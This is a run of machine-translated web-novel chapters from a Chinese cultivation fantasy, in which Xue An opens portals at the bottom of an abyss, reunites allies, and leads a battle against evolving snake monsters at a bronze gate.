    "Is this the so-called interesting thing you showed me?"


    Yue Qinghuan shrugged, "It was originally true, but I found that these old guys were slicker than each one, so it was expected that they were empty!"


    Xue looked at Yue Qinghuan quietly.


    Yue Qinghuan sat there calmly, without any sense of tension.


    After a long time, Xue An narrowed his gaze, then turned his head slightly, and said lightly: "I am really more and more interested in your origins now!"


    "Haha!" Yue Qinghuan leaned comfortably on the soft sofa cushion, a pair of amazing-length legs directly on the coffee table, and then stretched a long waist, the slender and moving curve was unscrupulously exposed in front of Xue An.


    "Are you interested? Then you will try to win the next battle. Not only will I tell you my origins, but I may even be yours!"


    Yue Qinghuan tilted his head and said, her posture and expression were almost like a lazy Persian cat.


    Especially her pair of lavender eyes are even more breathtaking when looking at you with a smile.


    The most important thing is that when these words come out of the mouth of a beautiful girl like her, they are almost full of fatal temptation, enough to move the hard-hearted people.


    Yue Qinghuan was also extremely confident about this. In her opinion, no one could resist this temptation.


    But soon, Yue Qinghuan was disappointed.


    Because Xue An didn''t move at all, he didn''t even blink his eyelids, just stared at her with cold eyes.


    In this gaze, Yue Qinghuan could not read any desires, the only thing he had was a condescending overlooking.


    This feeling made Yue Qinghuan startled slightly, even if he was completely mad.


    Because no one has ever dared to ignore their existence so much.


    And what''s going on with this overlook?


    Does this guy dare to look down on himself?


    Just when Yue Qinghuan was about to attack.


    Xue An slowly turned his head and said lightly: "I''m sorry, I am not interested in you at all!"


    Yue Qinghuan''s face turned black, just about to speak.


    At this moment, Tang Xuan''er came to the living room carrying a large pot of roast chicken with a fragrant smell.


    "Come on, let''s try my craft!" Tang Xuan''er said with a smile.


    Xiao Sha followed closely, flexing her hands, her saliva would have been flowing out for a long time.


    But shortly after, she noticed Yue Qinghuan sitting on the sofa, she was startled slightly, and then her complexion sank.


    "Who made you sit there? Get up!"


    Yue Qinghuan was very annoyed at first, he couldn''t help but sneered again and again when he heard this.


    "Oh? Why should I get up?"


    "Nonsense, the position you sit now is exclusive to me, of course you have to get up!" Xiao Sha said with an unkind expression.


    "Hehe, it''s exclusive to you, do you tell it to say yes to it?" Yue Qinghuan said coldly.


    With this questioning, the atmosphere instantly became serious.


    But at this moment, a figure suddenly broke into the living room like a whirlwind, and then plunged into Xue An''s arms.

 Chapter 2124： Void at the bottom of the abyss

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    The whole audience was stunned, because it was obviously a girl who rushed into Xue An''s arms.


    Xue An was also slightly startled, Xuan even chuckles, and then patted the back of the person in his arms.


    "Okay, Xiao Rui, don''t be so excited, am I back?"


    That''s right!


    It was the ill-fated Qian Xirui who rushed into Xue An''s arms.


    She had joined the Fire Phoenix Special Forces before, but when Xue An took the Fire Phoenix people to perform the mission, she did not take her with her, but left her on the earth.


    Unexpectedly, when Xue An returned this time, she was the first to know.


    At the same time, Yue Qinghuan suddenly whispered, and then murmured: "Huh? Alchemy life? No! How come there are human souls mixed in it, is it actually a fusion of human and alchemy life?"


    Speaking of this, Yue Qinghuan''s eyes suddenly showed sympathy, "Tsk tut, it''s really pitiful!"


    With that, Yue Qinghuan suddenly flickered and disappeared into the living room, and at the same time a word came from Xiaosha''s ear.


    "Little Loach, this girl is too lazy to fight with you, now you have your seat back!"


    But Xiao Sha didn''t look happy, on the contrary he clenched his fists.


    Little loach?


    How dare you call me a little loach?


    It''s really unforgivable!


    At the same time, Xiao Rui finally released her hand, and then looked at Xue An silently, her eyes full of resentment.


    She had already made preparations before and planned to perform tasks with Fire Phoenix, but she never expected to be left behind by Xue An when she was leaving.


    For this reason, she did not know how many times she had cried secretly.


    You must know that because of the severe damage to the soul, this little girl who was already somewhat inferior has become more and more withdrawn.


    In the whole earth for so long, only a few people can really talk to her.


    So Xue An''s "abandonment" seemed to her to be a heavy blow.


    But she did not give up, but kept hiding in the shadows, waiting for the return of Xue An and others.


    Apart from this, she has no other goals.


    The effort paid off, and finally on this day, she suddenly felt a strange breath.


    Although it was very slight, Qian Xirui, who was extremely sensitive, rushed over immediately, so she became the first person to discover Xue An''s return.


    Upon seeing this, Xue An couldn''t help but smile, and then helplessly patted her on the head.


    "Okay, okay, you don''t have to look at me with this kind of eyes, I promise I won''t leave you casually in the future, okay?"


    Xiao Rui nodded silently, and then automatically stood in the shadow behind Xue An, like a silent guard.


    Xue An had no choice but to smile bitterly, and then turned to An Yan and said: "Yan''er, you wait and wait for me here first, I will go back!"


    "Where to go?" An Yan said


    "Go and do something!" Xue An said lightly.


    "Then let''s go after dinner!" An Yan''s expression changed before he said in a deep voice.


    Xue An smiled, "No, it''s not too late to eat after I return from work!"


    An Yan nodded without hesitation, "Okay, then I am waiting for you!"


    Xue An smiled, turned his head and said to Xiao Rui, who was inseparable: "Follow me!"


    After that, Xue An grabbed Xiao Rui''s arm and rose into the sky, then turned into a stream of light, and disappeared into the sky in the blink of an eye.


    This time, Yue Qinghuan surprisingly did not follow. He just sat on the cane chair on the top of the building and smiled faintly at the direction Xue An was going away.


    "Let me guess, how long can you finish this? One day or one month?"


    abyss!


    As the exclusive "monster spawning copy" of the earth, this place has become a paradise for the strong.


    Even in some popular areas, the rate of output of demons can no longer keep up with the pace of harvesting by the strong.


    As a result, robbing this phenomenon has occurred in many places.


    But no matter what the method is, everyone abides by the principle, that is, friendly competition is okay, but no despicable means can be used, otherwise they will be condemned.


    In this atmosphere, the abyss became more and more noisy.


    But at this moment, in the deepest part of the abyss, suddenly Guanghua flashed, and then the figures of Xue An and Xiao Rui appeared.


    This place is located at the very bottom of the abyss, inaccessible to people, and the surroundings are so deep that it cannot be overcome.


    Xue An only paused for a while, and then took Xiao Rui to go deeper.


    With Xue An''s current strength, the speed can be described as extremely fast under the full rush.


    Therefore, in the blink of an eye, the darkness in front of him became thicker and thicker, and at the same time the resistance to travel began to increase.


    But none of this could hinder Xue An''s advancement. His eyes flashed, and then a dazzling sword light slashed across, directly splitting the darkness in front of him in half.


    Immediately afterwards, Xue An walked through it with Xiao Rui, and then suddenly enlightened.


    This is an endless light curtain.


    The light curtain emits a faint fluorescence, and the entire space shining on becomes very strange.


    When you stand in it, you can''t distinguish up, down, left, and right, and there is no boundary.


    In other words, no matter where you stand, it is the center of the entire light curtain.


    But at this moment, Xiao Rui suddenly screamed, then pointed at the light curtain.


    Because just above this endless light curtain, there are actually many images.


    Some of these images are empty, and some are growing with many strange creatures and Xiao Rui screams because she actually saw familiar faces in some of the images.


    For example, the image of myself fighting in the abyss with the Fire Phoenix team before.


    This shocked her.


    Because she really couldn''t understand, why can she see things that are clearly past?


    If these images were recorded by someone, then who was the person who recorded them?


    When Xiao Rui was puzzled, Xue An just smiled faintly.


    "Are you surprised?"


    Xiao Rui nodded.


    "It''s actually very simple. This is the most fundamental place of the entire abyss. All spaces and creatures are bred from this thin light curtain, and everything that happens in it will also be left on it. Mark, so it��s no surprise that you can see a picture of you fighting!"


    Xiao Rui''s eyes gradually widened, seeming to wonder why Xue An came here.


    Xue An smiled.


    "This abyss is a naturally formed cave sky. Although it is dark in nature, it is perfect to be used as a transit station and connect to other spaces! So..."


    Xue An stomped his foot abruptly, and a very violent shock wave was set off above the light curtain.


    The entire abyss vibrated violently.


    At the same time, Xue An''s tongue burst into spring thunder, "Void orders!"


    After that, Xue An suddenly appeared in front of two points of brilliant light like a gem, and the light curtain under his feet suddenly appeared a huge gem.


    The three were immediately connected, and then, the orb representing the abyss dimmed quickly, but the two orbs grew crazy.


    However, after a few breaths, the two precious orbs turned into two doors, and two completely different scenes appeared behind the doors.

 Chapter 2125： Connect 3 circles

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    But I saw a faint Sanskrit sound coming from one of the doors, and countless sword lights lingered in the other door.


    Seeing this strange scene, Xiao Rui couldn''t help but change slightly.


    At this moment, Xue An chuckled, "Turn on!"


    boom!


    With a loud rumbling noise, the entire abyss began to vibrate.


    Everyone who was spawning monsters in the abyss was even more discolored.


    "What''s going on? Could it be the earthquake?" Ouyang Xiaoman from Haoran College shouted in surprise.


    "Nonsense, this abyss is not a planet, how could an earthquake be possible?" Great Mountain Chief Shu Wenbin of Haoran Academy immediately retorted.


    "Then what''s going on?"


    "I don''t know, but there must be some major change!" Shu Wenbin said solemnly.


    At this moment, the vibration of the abyss became more intense, and Ouyang Xiaoman and everyone in Haoran Academy all looked solemn.


    In order to improve their cultivation level as soon as possible, Xue An tailor-made a practice called Ping Tianxia for them.


    Since getting this exercise, everyone in Haoran Academy has been soaking in the abyss day and night, in order to integrate it as soon as possible.


    But never expected it to happen.


    When everyone was surprised and suspicious, dozens of brilliance flashed by, and then they saw Qingyangguan''s master Gong Liangxing also appeared in the field.


    "Wen Bin, what''s going on, do you know?" Gongliangxing asked in a deep voice.


    Shu Wenbin shook his head, "I don''t know either!"


    "Mr. Xue is not here now, I really don''t know if this is a blessing or a curse!" Gong Liangxing sighed lightly.


    At this moment, the vibration of the abyss began to calm down.


    Many terrified Earth experts could not help but flew up, and then looked into the void with all their faces in astonishment.


    Because at this moment, in the empty void, two huge doors suddenly appeared.


    The brilliance above the giant gate is so dazzling that people dare not look directly.


    "What the **** is going on? Could it be that the abyssal evil has invaded?" someone shouted.


    At this moment, he heard a soft drink.


    "Everyone listens to the order, and immediately prepares for battle to prevent evil objects from invading!"


    The voice was cold and beautiful, and it was the voice of a woman.


    Everyone couldn''t help turning their heads and looking around, and at the same moment, they saw a figure rushing to the front at an extremely fast speed. After standing still, it was An Qing.


    Now that she has completely integrated the heart of the Zerg race, her strength is comparable to that of a top-level Luo, but this has not satisfied her, so she will come to the abyss to hone herself almost every day.


    Unexpectedly, I encountered such a situation today.


    When everyone saw her, they couldn''t help bowing their heads.


    "Miss Ann!"


    "Miss Ann!"


    Without him, An Qing''s strength and background are really too strong.


    Not to mention anything else, just the title of Anyan Goddess''s sister is enough to make everyone bow their heads.


    Therefore, after seeing her, everyone had no objections, and immediately set up a defensive formation according to her instructions, and made all the battle preparations.


    An Qing looked at the two giant doors with a deep face, her eyes shone with brilliance, and the majestic Zerg pressure began to gather around her body.


    She knew very well that if these two doors really lead to the outside world, then this matter is really big.


    Maybe none of the people present will survive, and all of them will have to be buried here.


    But she didn''t have any hesitation or regret.


    Because An Qing knew that if it were to fall here, it would be the earth that would suffer the utter disaster next.


    Because there is home behind them, they cannot take a step back.


    And this idea is also a common belief in everyone''s hearts.


    At this moment, two giant doors started to open slowly.


    Everyone''s hearts also raised their throats.


    In the void beside An Qing, countless hideous insect shadows faintly appeared.


    But at this moment, two doors suddenly opened, and then countless figures poured in from the two doors.


    Among them, there was golden light shimmering, and sword energy lingering, which seemed extremely lively.


    An Qing immediately shouted loudly: "Be prepared to attack..."


    But before the last word was uttered, An Qing was stunned.


    Because she suddenly discovered that the figure rushing in was not evil at all.


    On the contrary, they are all living people.


    Not only that, but there are many familiar figures rushing forward.


    For example, the Fox Night who was smirking at him, and Ye Hanshang on the side.


    How is this going?


    An Qing couldn''t help falling into confusion.


    Not only her, but all the powerful people on the earth who were already ready to fight to the death were also dumbfounded.


    "Hey, isn''t that the Fox Fairy King who guarded the earth back then?"


    "Yes, isn''t the old Dao next to Master Zhuge? I also fought alongside him before!"


    The screams came and went one after another.


    As for Huye and others, they stopped after rushing to the front.


    "Everyone, it''s been a long time!" Zhuge Zang said with a smile.


    Hu Ye bared his teeth at An Qing, "Sister An, why are you getting more and more beautiful?"


    "You...you..." An Qing was puzzled.


    Hu Ye smiled, "I don''t understand what''s going on, right? Don''t worry, you will understand soon!"


    With that, Hu Ye turned his head and rushed into the void and shouted: "Old Xue, can you correct the stinking problem of not appearing until the last moment? Do you still pretend to be mysterious at this time?"


    Following the voice, only a laugh and curse came from the depths of the void.


    "You are pretending to be mysterious. I just calmed down the fluctuating space at the bottom of the abyss and strengthened the space-time passage. Isn��t it good to talk nonsense again, be careful of your tail!"


    With the voice, two figures gradually emerged from the depths of the void, it was Xue An and Xiao Rui.


    After seeing Xue An''s figure, An Qing couldn''t help screaming.


    "Brother-in-law?"


    Xue An smiled at her, then nodded, "Qing''er, it''s me!"


    An Qing understood what was going on in an instant, and a smile appeared on her face. "You scared me to death just now. We thought it was an evil creature from the outside world about to invade!"


    Xue An also smiled, "I''ve seen it all, your performance is very good, at least none of them are counseling!"


    This compliment also made the faces of these powerful people on the earth flushed and excited.


    Because this is the affirmation from the legendary Mr. Xue!


    But in the crowd, Ouyang Xiaoman was hesitant to speak several times.


    She wanted to rush to talk to the master as usual.


    But somehow, when she saw Xue An, who was dressed in white and jade, she suddenly became a little timid.


    Because she felt that the current master suddenly became so strange!


    In particular, the power that naturally exudes between the gestures is even more dare not to approach.


    But at this moment, Xue An suddenly turned to look at her, and then smiled slightly.


    "What? Don''t you call me Master when you see me?"


    Hearing this, Ouyang Xiaoman was startled at first, then the smile on his face gradually brightened, nodded heavily, and shouted: "Master!"


    "Is that right!" Xue An responded with a smile.


    "Oh, okay, old Xue, why didn''t I know you still have such a beautiful female apprentice? Do you still have many secrets to keep from us?"


    Huye leaned forward and said with a smile.

 Chapter 2126： The war begins

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    "Get out!" Xue An scolded back with a smile, and then said sternly: "Has the manpower been organized?"


    "Don''t worry, can I still neglect what you ordered? It''s all ready!" Hu Ye smiled.


    Yue Jing on the side also stepped forward, her palms folded together: "Master, Pure Land and Tantra are also ready!"


    When Xue An entered the bottom of the abyss to completely open up the Three Realms, he passed all the news through the communication methods left in advance.


    Therefore, the two circles will be prepared in advance.


    now.


    After listening to everyone''s feedback, Xue An nodded and said: "Very well, then I will gather all the strong people on earth now."


    After that, Xue An did not move, but directly pointed to the void in front of the screen.


    In an instant, the void faded, and then everyone appeared on the earth.


    The whole process can be described as seamless, and everyone is not even aware of it.


    "Fuck, Old Xue, you can do it, when did you learn to travel through the void with that demon girl?" Hu Ye couldn''t help but exclaimed.


    "This is not going through the void!" Ye Hanshang suddenly said, and then smiled at Xue An, "If I guess right, you have completely mastered the abyss space for your own use, right?"


    Xue An smiled and nodded, "Yes, and it''s not just the abyss, the Pure Land Buddha Kingdom and the Sword Palace Star Region are no exception!"


    "I''m not surprised at the Pure Land Buddhist Kingdom, but isn''t the Sword Palace Star Domain Li Jingxing''s domain? Can you also obtain the highest authority?" Ye Hanshang asked.


    "Of course it can, because it was given to me by Li Jingxing!"


    As he said, Xue An waved his hand, and several huge passages suddenly appeared in the sky of the earth.


    In the passage is the Sword Palace Star Field, the scene of the Pure Land Buddha Kingdom.


    Such a magical scene naturally attracted the attention of the world in an instant.


    Xue An didn''t bother to explain, and directly swiped a divine mind, and gave the information to everyone.


    In an instant, the whole world was boiling over.


    There are those who are excited, and there are those who secretly panic.


    The excited person is because Mr. Xue has finally returned and brought so many strong people.


    The panic is because the catastrophe is already in sight, and looking at the current situation, this catastrophe is by no means ordinary, so he is full of panic.


    But no matter what his thoughts, Xue An''s strong appearance still shocked the world.


    On the roof of Tianzi No. 1 Villa, Yue Qinghuan, who was originally calculating how long it would take for Xue An to get through the Three Realms, couldn''t help being stunned.


    Because she didn''t expect Xue An to accomplish this stunning feat in such a short time.


    But it was also at this moment that her complexion changed abruptly, and then she raised her eyes to look in the direction of the Pure Land Buddha Kingdom, with a cold tone.


    "coming!"


    Immediately after her, it was Xue An who felt the strange nature. He suddenly raised his head, looked at the Pure Land Buddha Kingdom with sharp and sharp eyes, and then said in a deep voice.


    "Yan''er, you and Xuan''er Mengxue and others guard the earth, and the others will come with me!"


    After all, Xue An flew up, turned into a stream of light, and flew to the pure land of Buddha first.


    Huye and others naturally followed closely with a solemn expression.


    Immediately afterwards, the whole world became a complete sensation, and countless brilliance burst forth and turned into a mighty torrent to the pure land of Buddha.


    This spectacular scene also spread all over the world in an instant.


    Many people with poor strength watched this scene with envy, and many young people were shaking with excitement.


    In front of Tianzi No. 1 Villa, An Yan clasped his hands tightly, looked up at this scene, and whispered softly: "Husband, you have to return safely!"


    Upstairs Yue Qinghuan curled his lips when seeing this, "The momentum is not small, but unfortunately... Compared with the existence of the invasion, most of them are ants!"


    With that, she didn''t even get up, but stretched a long waist, and then lay down on the wicker chair in a comfortable position.


    "This test begins, I hope you can hand in a satisfactory answer sheet!"


    And at this time, before the bronze gate of the Pure Land Buddha Kingdom, after several days of growth, the dense forest became more and more eerie and gloomy.


    A faint white mist floated above the dense forest, constantly changing various shapes, and at the same time, there was a strange scream that made the scalp numb.


    Cheng Hao looked at the scene in front of him solemnly, and communicated with everyone through the communicator from time to time.


    "Zou Sui, how is your place?"


    "Report to Captain, everything is normal on my side, except for the **** ghost cry becoming clearer and clearer, nothing has changed!" Zou Sui responded immediately.


    "Pay attention to observation, don''t be slack in the slightest, and be especially careful not to be attacked, because I feel this group of things are already about to move!"


    "Don''t worry, Captain, it''s always me, Zou Suiyin, and nobody else can attack me!" Zou Sui said proudly.


    His title as the number one assassin of the Fire Phoenix is ??not for nothing. His lurking and assassination skills have reached the level of proficiency, so he has such a strong confidence.


    Cheng Hao felt calm after hearing this, "Then you have to be careful!"


    Zou Sui responded with a grin: "Good captain, you just...ah!"


    Suddenly, a scream from Zou Sui came from the communicator Cheng Hao was shocked, "What''s the matter, Zou Sui, what''s wrong with you?"


    The entire fire phoenix was also shaking.


    But there was silence in the communicator.


    "Da Niu, go take a look!" Cheng Hao said immediately.


    Zhou Daniu, who had long been unable to restrain himself, rushed to Zou Sui immediately after receiving the order.


    At this moment, Zou Sui''s slightly weak voice came from the communicator.


    "Captain, I''m okay. Don''t come here, Daniel. Please take precautions first, because there are existences that make me unable to perceive its aura lurking around and waiting for opportunities to attack!"


    Hearing this, everyone was shocked.


    Daniel asked with even greater concern: "Smash Mouth, are you really okay?"


    "Don''t worry, I''m the first assassin in the dignified manner. It''s nothing more than a minor injury. How could something happen!" Zou Sui said immediately.


    Only then did Zhou Daniu hesitate to stop, because he always felt that Zou Sui''s state was a bit wrong, but the battle was important, and he returned to his position and started defending.


    At the same time, Zou Sui turned off the communicator weakly, then grinned and whispered softly.


    "Damn, this blow is really hard!"


    Through the light, you can see that on Zou Sui''s back, a huge wound runs through the upper and lower parts. The depth of the wound is so deep that you can even vaguely see Zou Sui''s spine!


    Such injuries are enough to kill ordinary people on the spot.


    Zou Sui trembled and drank a special bottle of Heavenly Fate Potion, then licked his lips with murderous expression on his face.


    "Aren''t you going to play a sneak attack with me? Okay, then I will play with you evil things for a while, uncle, to see who is yin enough!"


    With the voice, Zou Sui''s figure gradually blurred, and finally disappeared into the darkness.

 Chapter 2127： First battle

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    At the same time, in the invisible void, a cruel fight unfolded.


    Zou Sui wandered in the darkness like a ghost, blood splashing wherever he passed.


    It was a scene of transparent evil beings mercilessly beheaded.


    This kind of handy feeling couldn''t help making Zou Sui''s mouth a smug smile, and even made him forget his back injury.


    But at this moment, transparent tentacles suddenly appeared around his body.


    These tentacles are intangible, but because of the difference in refractive index, the darkness is distorted, so they have a clue.


    Despite this, these tentacles did not even make a sound, and silently rushed towards Zou Sui.


    Zou Sui didn''t know anything, and concentrated on destroying these transparent evil things.


    Seeing that these tentacles were about to touch Zou Sui, the armor of Zou Sui suddenly released a bright light.


    Zou Sui''s body was shocked, and at this moment, these tentacles whizzed and pulled.


    "Fuck, what kind of monster is this?" Zou Sui exclaimed, and then rushed forward with all his strength.


    Nevertheless, he was a step too late, and one of his tentacles was firmly pulled on his back.


    The dying one happened to be drawn to Zou Sui''s original wound. The painful Zou Sui let out a scream, and then emerged from the darkness.


    But no matter what, he finally saved his life.


    This is also due to the timely warning of the Soldier Talisman Battle Armor, otherwise he might be cut off by the tentacles just now.


    As for why this soldier talisman armor can discover this almost perfect sneak attack, all of this is due to the terrifying learning ability of the soldier talisman armor.


    In the first sneak attack, the Talisman armor was also severely damaged, but it was very smart, and it quickly remembered the breath of this tentacle, so it was able to give early warning and rescue Zou Sui later.


    But this was just the beginning. Just as Zou Sui was still in shock, the tentacles whizzed towards him again.


    The speed is so fast that Zou Sui can no longer react.


    Zou Sui screamed in surprise, but at this moment, a large figure suddenly appeared in front of him, and he saw golden light all over him, and then burst into a shout.


    "Open it to me!"


    boom!


    He blasted a punch and directly blasted the tentacles he had drawn.


    There was a loud noise as soon as the two touched.


    Immediately afterwards, this tentacle curled up in pain, obviously suffering a heavy injury.


    But the large figure also shook violently a few times, and then took a few steps back.


    "Da Niu!" Zou Sui exclaimed.


    Zhou Daniu was aroused by ferocity, "Take another punch!"


    When the words fell, he waved a small urn-like fist and threw another punch.


    Boom!


    After another muffled sound, this tentacle groaned and then broke apart and disappeared.


    Zou Sui breathed a sigh of relief. He just wanted to speak, but at this moment, he heard a scream from the contact channel.


    "What kind of monster is this? Why can''t you touch it?"


    There was also a scream, and it was obvious that someone had been injured.


    Hearing the shouts of these comrades who were getting along day and night, Zou Sui only felt the blood rushing to the top of his head instantly, then raised his head to look at the twisted and waving tentacles in the darkness, saying every word.


    "Miscellaneous, I fight with you today!"


    With that, he desperately converged again, merged into the darkness, and killed the tentacle.


    "Broken mouth!" Zhou Daniu screamed, and then he also looked at the tentacles with fire-breathing eyes.


    "Dare to hurt my comrades-in-arms, I will tear you up today!"


    As he said, the golden light on Zhou Daniu''s body was so bright that one would dare not look directly, and with every tremor of his muscles, a roar like a dragon would faintly sound in his body.


    It is Chu Wuxiang''s fame and unique knowledge, Tianchan Wuxiang Gong!


    It''s just that this exercise is slightly different from that of Chu Wuxiang when it is performed in Zhou Da Niu''s hands.


    Chu Wuxiang is a strong immortal king, with profound qualifications and a gentle temperament, so this day Cicada Wuxiang Gong is very neutral in his hands.


    However, Zhou Daniu was simple and honest by nature, not so much thinking, and used to go straight, so this Tianchan has become incomparably fierce when he has no phase power in his hands.


    now.


    Zhou Daniu furiously attacked the tentacles, and wherever he went, two tentacles were torn apart by him, and his momentum was the same.


    But these tentacles seem to be endless, and they can''t be killed.


    The golden light on Zhou Daniu''s body began to gradually become thinner. After all, with his current strength, he could not maintain this state of full output for too long.


    Zou Sui was even more dangerous, all relying on his rich combat experience to flicker in the void.


    But he found that these tentacles seem to be constantly evolving, from the clumsiness at the beginning to quickly become agile.


    This also made his dodge more and more difficult.


    Not only he and Zou Sui, Cheng Hao also felt heavy pressure here.


    Because the members of the Fire Phoenix Special Forces have strengths and weaknesses, Cheng Hao, as the captain, naturally has to take on more responsibilities Especially at the very beginning, several members were Injured by this mysterious tentacles, the defensive formation was vacant, and Cheng Hao could only be a firefighter, running back and forth.


    But Cheng Hao also discovered that the power of the tentacles was gradually increasing, and he started to become powerless.


    This couldn''t help making him anxious.


    But at this moment, a flash of light suddenly illuminated the void.


    Immediately afterwards, the flame spread rapidly with a prairie fire, covering a large area of ??void.


    Under the red flames, including Cheng Hao, everyone in the Fire Phoenix Special Forces was stupid.


    Because under the light of the fire, a tingling scene appeared in the void.


    A ball of flesh made of countless strange snakes entwined and intertwined suspended in the air, and countless snakes swayed in the air, spitting dangerous red letters.


    From time to time, the torso of many strange snakes suddenly become bright, as if they have disappeared. Only when the light passes through can we faintly see its existence.


    It turned out that it was not the tentacles that attacked the fire phoenix people before, but the strange snakes.


    And when everyone was shocked, the countless strange snakes seemed to be very afraid of the red fire, and they began to shrink.


    But before they could move, a figure appeared before the sky full of flames.


    "Instructor!"


    "It''s the instructor, here he is!"


    Cheng Hao and the others were shocked, and then shouted in infinite surprise.


    Because in their minds, Xue An is an omnipotent god, as long as he comes back, then people like himself will have the backbone.


    The person who came was also Xue An. He felt the danger of Cheng Hao and others halfway, so he came one step in advance.

 Chapter 2128： trap

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    I saw him standing in the void, staring coldly at the group of strange snakes in front of him, his eyes flickering uncertainly by the swaying fire light from the sky.


    After feeling the breath of Xue An''s body, this group of strange snakes all stepped back a little, showing that they were very afraid of him.


    At this time, Cheng Hao also flew up, came behind Xue An, respectfully said: "Instructor!"


    Xue An didn''t turn his head back, but said indifferently: "Needless to say, I already know that you did a good job. Let me leave the rest!"


    "Yes!" Cheng Hao immediately retreated.


    And it was at this moment, but seeing countless brilliance rushing to the front like a torrent of torrents, it was the powerful ones who followed.


    The power of so many powerful people gathered together is simply inestimable.


    At least this group of strange snakes let out a sharp scream, and then tried to escape into the void.


    But in the face of Xue An, how can its tricks succeed.


    Although these strange snakes twisted their bodies madly and tried to penetrate the void, under Xue An''s might, the void around this group of strange snakes had condensed into one body, becoming as solid as an iron plate.


    So all the struggles of this group of strange snakes are in vain.


    At this moment, Hu Ye, Ye Hanshang, Zhuge Zang and others all appeared beside Xue An.


    Huye couldn''t help frowning when he saw this, "This thing looks so **** disgusting!"


    Xue An raised his eyebrows slightly and chuckled, "Is it disgusting? I don''t think it."


    "I can''t, I have a intensive phobia, I can see my hair is up!" said Hu Ye.


    The group of people just stood in the void and talked about this group of strange snakes, without paying attention to it during the whole process.


    This scene also fell in the eyes of the strong.


    These people couldn''t help looking at each other, and then started talking in a low voice.


    "I have to say that it is Mr. Xue! Facing such a monster, he can be so calm and relaxed!"


    "Hehe, I said a long time ago, any **** and evil thing is **** in front of Mr. Xue!"


    "Could it be over? I was so excited for a long time, I''m still ready to show my skills!"


    Just as everyone was talking about it, this group of strange snakes seemed to have become angry, and suddenly raised their heads together and made a sharp and piercing cry.


    As the sound waves passed, many people with weaker strength immediately appeared painful.


    Because this sonic attack was actually directed at Shenhun.


    But before the sound wave was completely diffused, someone chanted loudly: "Nanwuwu Buddha, concentration!"


    With a sound, golden light was everywhere, and at the same time the sound of the majestic Buddha horn sounded in everyone''s ears, completely destroying the sound wave attack of this strange snake.


    Everyone turned their heads and looked around.


    I saw a monk put his palms together, and a golden wheel appeared behind his head, as if he was an invisible big bodhisattva.


    The monks of the two camps of Pure Land and Tantra could not help but a commotion.


    Because this monk is not any of them, but a face.


    "Who is this fellow practitioner? Why don''t I know that there are invisible meditations in the heavens?" Maitreya asked in astonishment.


    Yue Ji suddenly smiled, and then said lightly: "So it was him!"


    "Why, do you recognize him?"


    Yue Jing nodded, "Yes, he is the Jin Jue Seng who guards the alchemy **** that has spread all over the world before, and has made a great wish that **** is not empty, and he swears that he will not become a Buddha. His name... Jizo!"


    The monks were shocked when they heard the words.


    "It turns out that he is the Ksitigarbha Bodhisattva! Sure enough!" Maitreya admired the words.


    At this moment, the group of monsters saw that the sonic attack had failed, and suddenly began to disintegrate.


    That''s right!


    It just begins to disintegrate like broken ice sculptures.


    "What? Seeing that the attack was ineffective, did you commit suicide with anger?" Hu Ye was surprised.


    But Xue An''s eyes suddenly showed a dignified color, and he waved his hand suddenly.


    The flames all over the sky immediately swarmed towards this group of monsters that were disintegrating at an accelerated rate.


    Wherever he went, the crackling sound of flames scorched into one piece.


    But in the blink of an eye, the fire disappeared, and when I looked at the void in front of me, it had become empty and there was nothing left.


    "Run?" Hu Ye asked in disbelief.


    In his opinion, no existence can escape in Xue An''s hands.


    Xue An did not speak, but took a deep breath, turned his head and looked at the large dense forest.


    Everyone followed his gaze, but found nothing unusual.


    "What''s the matter? Old Xue, look..." Before Fox Ye finished speaking, the dense forest suddenly changed drastically.


    I saw that the torso of the towering giant trees suddenly became soft, and at the same time scales appeared on them, and then the crown gradually converged and turned into a huge snake head.


    But in the blink of an eye, these giant trees turned into giant pythons.


    Not only that, the low bushes were not idle, but also turned into strange snakes.


    In the blink of an eye, this dense forest became a sea of ??snakes.


    "Fuck it, did the **** fall into the snake''s den?" Hu Ye said, holding back his nausea.


    Xue An didn''t say a word, but a little bit in the void in front of him A flame quickly flew to the sky above the strange snake, and then spread, and it fell like rain in an instant.


    But these snakes are different from the strange snakes before, and they are not so afraid of these falling flames.


    Despite the sizzle of the body being scorched by the high temperature, it still rushed towards everyone frantically.


    Seeing this, Zhuge Zang, who had not said a word, suddenly said solemnly: "They are evolving!"


    "evolution?"


    "Yes, it''s evolution. Everything that kills them will become immune to them when they are reborn."


    really.


    Although many more snakes died under the flame, the snakes behind them became more and more fearless of the flame.


    "What the **** are these monsters? Can they evolve?" Hu Ye couldn''t help but spit out, then looked at Xue An.


    "Old Xue, what should I do now?"


    Xue An kept looking at the depths of the snake sea, and then said coldly: "Cold!"


    After all, he suddenly cut out with a sword.


    Jianguang directly smashed countless monsters, but a road that had just been cleared was quickly reoccupied by newly emerged monsters.


    "Let''s do it together!" Zhuge Zang suddenly shouted.


    With an order, the strong were moved.


    "It can be considered that I took the opportunity to shoot, kill these long worms!" Someone screamed and rushed forward.


    "Dick your mother, so many snakes are just caught back to make snake soup!"


    Amid the shouting, I saw countless brilliance flying out of the crowd, smashing into the mighty army of snakes as if they didn''t need money.


    At this moment, Xue An suddenly raised his eyes, "No! This is a trap!"


    The words have been spoken, but everything is too late.


    I saw that the attacks of the people directly collided with these snakes. The power was so powerful that it directly aroused a mushroom cloud.

 Chapter 2129： I give 90 points for this start

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    boom!


    With the rise of the mushroom cloud, the violent shock wave spread quickly, and even the top powerhouses such as Fox Ye were shaken back a few steps.


    Then everyone looked up with shocked faces.


    I saw that in the field at this time, those strange snakes had disappeared, not only that, but even the dense forest disappeared without a trace.


    The only thing left in the field is this huge bronze gate standing alone.


    "Old Xue, what''s going on? What about those dense forests and poisonous snakes?" Hu Ye asked in shock.


    Xue An looked solemn and spoke slowly.


    "Those are just pretends to deliberately provoke attacks. The true purpose of these evil things... is to use our power to break the remaining seal on this bronze door!"


    As soon as this statement was made, everyone was shocked.


    And at this moment, as if to confirm Xue An''s words, tiny cracks began to appear on this bronze door.


    Then these rifts deepened rapidly and spread.


    In the end, only a crisp bang was heard, and then the brilliance attached to the bronze gate was completely shattered and vanished.


    Everyone was stunned by this scene.


    On the roof of the Earth''s Villa No. 1 Tianzi, Yue Qinghuan couldn''t help but smile when he looked at the scene that emerged in the water mirror in front of him, and then said lightly.


